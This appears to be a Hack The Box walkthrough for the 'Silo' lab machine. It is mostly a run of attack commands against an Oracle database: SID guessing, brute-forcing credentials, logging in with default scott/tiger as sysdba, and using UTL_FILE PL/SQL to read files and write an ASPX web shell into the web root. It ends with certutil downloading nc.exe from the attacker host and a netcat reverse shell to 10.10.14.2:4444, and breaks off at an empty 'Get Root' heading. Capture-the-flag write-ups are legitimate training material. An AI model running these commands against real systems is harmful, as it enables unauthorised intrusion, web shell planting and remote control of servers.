HTB - Silo Oracle

Walkthrough

We see port 1521 is open with the banner Oracle. Lets use /opt/odat.py to find out more.

Step 1 - Find a valid SID

python3 odat.py sidguesser -s 10.10.10.82 -p 1521

odat finds that XE and XEDB are valid SIDs. Lets use XE.

Step 2 - Bruteforce the Username and Password

python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file userpass.txt

The userpass.txt file can be found here

Step 3 - Login as scott/tiger

sqlplus64 scott/tiger@10.10.10.82:1521/XE

sqlplus64 scott/tiger@10.10.10.82:1521/XE as sysdba

^ as sysdba is like sudo.

Commands below to check privs

SELECT * FROM Session_privs;
SELECT * FROM User_Role_privs;

Step 4 - Read File

set serveroutput on

Make sure serveroutput is on or nothing will show.

declare
  f utl_file.file_type;
  s varchar(200);
begin
  f := utl_file.fopen('/inetpub/wwwroot', 'iisstart.htm', 'R');
  utl_file.get_line(f,s);
  utl_file.fclose(f);
  dbms_output.put_line(s);
end;
/

Make sure to type in / to execute the Oracle command

Step 5 - Write File on WebServer

declare
  f utl_file.file_type;
  s varchar(5000) := 'hello world';
begin
  f := utl_file.fopen('/inetpub/wwwroot', 'helloworld.txt', 'W');
  utl_file.put_line(f,s);
  utl_file.fclose(f);
end;
/

Use shell.aspx cmdasp-oneliner and upload to server using the same command up above. Copy and paste the shell into the s varchar(5000) := 'SHELL'

Step 6 - Get Shell

Go to shell.aspx and type the following commands:

certutil -f -urlcache http://10.10.14.2/nc.exe C:\temp\nc.exe
C:\temp\nc.exe 10.10.14.2 4444 -e C:\Windows\System32\cmd.exe

Step 7 - Get Root